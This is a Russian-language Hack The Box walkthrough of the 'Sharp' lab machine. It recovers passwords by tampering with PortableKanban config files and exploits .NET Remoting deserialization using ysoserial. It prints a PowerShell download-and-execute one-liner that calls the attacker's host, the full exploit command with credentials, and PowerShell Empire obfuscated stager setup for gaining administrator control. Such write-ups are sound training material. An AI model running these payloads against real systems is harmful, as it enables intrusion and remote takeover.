Хакер - HTB Sharp. Потрошим сервис на .NET через .NET Remoting Services
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Перебор SMB
- Точка входа
- Закрепление
- Повышение привилегий
В этой статье я покажу, как эксплуатировать уязвимость в .NET Remoting Services, а затем мы получим управление хостом с помощью фреймворка PowerShell Empire. А полигоном нам послужит машина Sharp с площадки Hack The Box. Ее заявленный уровень сложности — Hard, поэтому будет интересно!
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Адрес нашей машины — 10.10.10.219, закидывай его в /etc/hosts, чтобы можно было обращаться к хосту по имени.
10.10.10.219 sharp.htb
Первый шаг любой атаки — сканирование портов. Я обычно выполняю его вот таким небольшим скриптом. Он делает два прохода: сначала по всем портам, затем с использованием скриптов (опция -A) — по тем, где что‑то обнаружилось. Это позволяет получить подробный список сервисов, работающих на удаленном хосте.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Как это обычно бывает на машинах с Windows, в результате сканирования имеем много открытых портов:
- 135 — MSRPC, служба удаленного вызова процедур;
- 139 — служба имен NetBIOS;
- 445 — SMB;
- 5985 — WinRM, служба удаленного управления;
- 8888 и 8889 — спецификация .NET Message Framing.
Как видишь, здесь нет веб‑сервера или каких‑то других сервисов, которые бы предоставляли широкое поле для проверок и поиска учетных данных. А значит, у нас всего два дальнейших вектора: тест без учетных данных (через анонимный доступ) и, если ничего не получится, брутфорс учетки.
Перебор SMB
Первым делом проверяем, что можно найти на шаре SMB. Находим общую директорию kanban, которая доступна без авторизации. С помощью SMBMap сразу просматриваем рекурсивно все содержимое (опция -R):
smbmap -H sharp.htb

smbmap -H sharp.htb -R kanban

Файлов очень много, и удобнее анализировать их локально, поэтому я подключился к общему ресурсу через проводник и скопировал все содержимое каталога на локальный хост.
Похоже, перед нами какое‑то приложение для Windows. Среди файлов нашлось руководство пользователя, это нам на руку. А в файле PortableKanban.pk3 находим учетные данные двух пользователей. Их пароли оказались зашифрованы. Для просмотра файлов в формате JSON в терминале советую использовать утилиту jq, которая позволяет в два счета парсить разметку и вытягивать нужные данные.
cat PortableKanban.pk3 | jq

ТОЧКА ВХОДА
Перейдем на машину с Windows (я обычно работаю в Linux) и посмотрим, что нам даст запуск приложения. Первым делом оно нас проинформирует, что по умолчанию пароль для администратора пустой.

Тут пришла идея изменить сами файлы конфигурации программы, так как цифровая подпись отсутствует и приложение не сможет проверить целостность содержащихся в конфиге данных. Сохраним файлы конфигурации перед их изменением.

Сначала удалим файл с разрешением md5, а потом уберем в двух оставшихся файлах конфигурации пароль администратора по ключу EncryptedPassword. Теперь мы можем успешно авторизоваться как Administrator с пустым паролем.


Стоит хорошенько изучить приложение, так как в нем могут найтись записи с критическими данными или еще какая‑нибудь полезная информация. К примеру, перейдя в настройки, мы видим список всех зарегистрированных в программе пользователей (те же, что и в конфиге). Что еще более важно, мы можем посмотреть пароль в открытом виде, просто сняв галочку. Пустое поле пароля у администратора свидетельствует о том, что это расшифрованный пароль из конфига. Так мы узнаем пароль пользователя lars.

Получается, мы можем расшифровать пароли из конфига. Давай восстановим и пароль админа — он еще может пригодиться. Восстанавливаем сохраненные конфиги и меняем роль (ключ Role) известного нам пользователя lars c User на Admin. Успешно авторизуемся (ведь пароль мы уже знаем) и уже знакомым нам способом получаем пасс администратора.


Теперь у нас уже есть кое‑какие учетные данные, и мы можем попробовать подключиться к известным нам службам. Снова начинаем с SMB и узнаем, что от имени пользователя lars нам доступна новая директория — dev. Сразу рекурсивно просмотрим все содержимое.
smbmap -H sharp.htb -u lars -p 'G123HHrth234gRG'

smbmap -H sharp.htb -u lars -p 'G123HHrth234gRG' -R dev

В найденной директории видим записку и три исполняемых файла, один из которых — библиотека с говорящим названием RemotingLibrary.dll. Я снова подключился через проводник и сохранил все содержимое на локальный хост. В записке содержится список задач, где сказано о грядущем переносе .NET на WCF и добавлении валидации входных данных.

Подобные упоминания очень полезны, так как теперь мы знаем, что ввод не фильтруется, и в этом заключается дальнейший вектор атаки. Что очень важно, приложение написано на C#, поэтому переносим файлы на машину с Windows и декомпилируем с помощью dnSpy, начиная, конечно же, с клиента. Как видно в строке 15 декомпилированного кода, приложение отвечает на порте 8888. А строки 16 и 17 содержат учетные данные для подключения, которое обеспечивается за счет использования System.Runtime.Remoting.Channels.Tcp.

У меня уже был подобный опыт, поэтому я догадывался, какую уязвимость придется эксплуатировать. Речь о багах CVE-2014-1806 (недостаточное ограничение на доступ к памяти) и CVE-2014-4149 (отсутствие проверки TypeFilterLevel). В эксплуатации нам поможет эксплоит Джеймса Форшоу.
ЗАКРЕПЛЕНИЕ
Приступим к эксплуатации. Сначала сгенерируем нагрузку‑дроппер, которая будет выполнять основную нагрузку. В качестве нагрузки дроппера используем однострочник на PowerShell, который загрузит c нашего хоста код на PowerShell и выполнит его.
IEX(new-object net.webclient).downloadstring('http://10.10.14.73:8888/mt.ps1')
Этот код нужно сериализовать определенным способом, для чего будем использовать инструмент ysoserial. В параметрах указываем кодировку Base64 (параметр -o) и тип гаджета TypeConfuseDelegate (параметр -g).
.\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('http://10.10.14.73:8888/mt.ps1')"
Теперь нужно сгенерировать стейджер, который будет загружен и выполнен. Я использовал быстро набирающий обороты (спасибо BC-Security) фреймворк PowerShell Empire.
Сначала запустим листенер HTTP, а потом сгенерируем для него стейджер. Листенеру задаем имя, а также локальные порт и адрес для соединения. Стейджеру задаем запущенный листенер, указываем параметр обфускации и путь к файлу, куда будет сохранен загрузчик для стейджера.
uselistener
set Name [имя листенера]
set Host [IP-адрес]
set Port [порт]
execute
usestager window/launcher_bat
set Listener [имя листенера]
set OutFile [файл для сохранения]
set Obfuscate True
execute

Подготовку завершаем запуском локального веб‑сервера, к примеру python3 (в директории с нагрузкой PowerShell Empire).
python3 -m http.server 8888
Теперь отправляем нагрузку (с машины с Windows), которую получили c помощью ysoserial. В окне Empire увидим сообщение о созданном агенте, а значит, атака завершена и мы получили контроль над машиной (имя агента дальше будет отличаться, так как пришлось восстанавливать соединение после сброса машины).
ExploitRemotingService.exe -s --user=debug --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/ SecretSharpDebugApplicationEndpoint raw AAEAAAD/////AQ...

Получим управление над агентом командой interact, узнаем информацию о пользователе (whoami /all) и заберем флаг пользователя.


ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Осмотревшись в пользовательском пространстве, в директории Documents находим проект wcf, написанный на C#.

Загружаем его на локальный хост для изучения. В клиенте видим подключение на локальный порт 8889 (строка 11), после чего отправляются некоторые команды (строки 14–16).

В исходном коде этих команд находим еще одну — InvokePowershell (строка 51).

Из изучения исходного кода метода InvokePowershell уже в серверной части приложения становится понятно, что тут есть возможность выполнения команд PowerShell на удаленном хосте (строки 131–134).

Если посмотреть список прослушиваемых портов (команда netstat -a) и работающих процессов (команда tasklist) на удаленной машине, можно сделать вывод, что серверная часть приложения в данный момент работает, причем от имени администратора.


Давай добавим в код клиента еще одну команду — InvokePowershell (строка 17), что позволит уже знакомой нам командой загрузить на сервер и выполнить еще один стейджер Empire. Так мы получим новую сессию — на этот раз админскую!

Осталось создать новые листенер и стейджер PowerShell Empire.
uselistener
set Name [имя листенера]
set Host [IP-адрес]
set Port [порт]
execute
usestager window/launcher_bat
set Listener [имя листенера]
set OutFile [файл для сохранения]
set Obfuscate True
execute

Когда все готово, компилируем измененный код клиента (я это делал в Visual Studio 2019) и командой upload фреймворка Empire загружаем итоговый исполняемый файл на удаленный хост, после чего просто выполняем.

В окне Empire сразу создается новый агент, но уже привилегированный (о чем нам говорит звездочка перед именем учетной записи).

Мы захватили машину и имеем над ней полный контроль.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei